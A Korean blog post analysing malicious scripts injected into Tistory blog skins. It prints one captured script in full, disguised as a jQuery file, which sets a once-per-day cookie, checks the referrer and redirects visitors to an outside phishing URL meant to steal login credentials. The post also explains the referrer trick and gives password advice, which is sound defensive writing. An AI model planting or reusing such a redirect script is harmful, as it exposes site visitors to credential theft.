최근 티스토리 블로그 중 일부가 굉장히 로딩이 느렸는데 티스토리에서는 2가지로 이 원인을 파악하고 있다. (블로그 로딩이 느리다면 확인해보세요.) 하나는 먼저 글로 이야기 했지만 jquery의 cdn 속도 문제이고 또 하나는 악성 스크립트 삽입이다. cdn은 이미 이야기를 했으니 악성 스크립트에 대해서 이야기를 해보려고 한다.
악성 스크립트의 형태
여러가지 스크립트들을 발견했는데 그 중 하나인 http://www.global21.co.kr/js/jquery-2.1.0.min.js 를 살펴보려고 한다. 이유는 다른 스크립트들은 이런저런 이유로 이미 내 PC에서 접근이 안되기 때문이다.
if(document.cookie.indexOf("bot_cnaver=")==-1)
{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="bot_cnaver=Yes;path=/;expires="+expires.toGMTString();
var ref = document.referrer;
reg = "tistory";
var myreg = new RegExp(reg);
if (myreg.test(ref)){
location.href="http://daechang.pe.kr/data/auth/";
}
}
이 스크립트들은 궁극적으로 원하는 것은 똑같다. 접속한 사람을 가짜 로그인 페이지로 이동시켜서 아이디와 비밀번호를 탈취하는 것이다. 이 스크립트의 경우 레퍼러에 tistory가 들어있으면 http://daechang.pe.kr/data/auth/ 로 이동시킨다. 들어가보진 못했지만 네이버 로그인 페이지 같은게 나올거다.
그렇다면 왜 이들은 레퍼러 검사를 해서 일부만 이동을 시킬까? 모두 이동시키면 더 효과적이지 않나?
정확한 이유는 알 수 없지만 추측하기로는 악성 스크립트 존재를 사이트 관리자가 알지 못하게 하기 위해서라고 본다. 위의 예는 tistory 니까 관리자도 쉽게 알겠지만 만약 레퍼러를 검색사이트를 설정한다면 검색으로 유입되는 사람들에게만 영향을 주니 관리자는 무슨 문제가 있는지 영영 모를수도 있다. 누가 낸 아이디어인지는 모르겠지만 아주 똑똑하다. 그리고 악랄하다.
악성 스크립트가 삽입되는 경로
이 부분은 사실 잘 모른다. 어렴풋이 추측만 해볼 뿐이다. 일단 스크립트를 스킨에 넣기 위해서는 티스토리 db에 접근해서 직접 넣거나 티스토리 api의 취약점을 뚫고 넣거나 사용자의 계정 비밀번호를 탈취하거나 해야할텐데 가장 가능성이 높은 것은 사용자의 계정 비밀번호 탈취라고 본다. 이들 스크립트도 하는 일이 비밀번호를 탈취이니 티스토리 계정도 그런 식으로 접근을 하지 않았을까 싶어서다.
티스토리의 공지 악성 스크립트 사용에 따른 일부 블로그 접근 제한 조치 안내 에서도 예방방법으로 개인의 보안을 강조하고 있다. (물론 티스토리도 스스로 보안 점검을 하겠지)
이런 일을 보면서 나도 스스로를 돌아보게 된다. 귀찮다며 같은 비밀번호를 몇년째 쓰는거, 사이트마다 같은 비밀번호 쓰는거... 한순간이라도 실수해서 비밀번호를 탈취당하면 내 모든 인터넷 정보는 끝나버릴거다.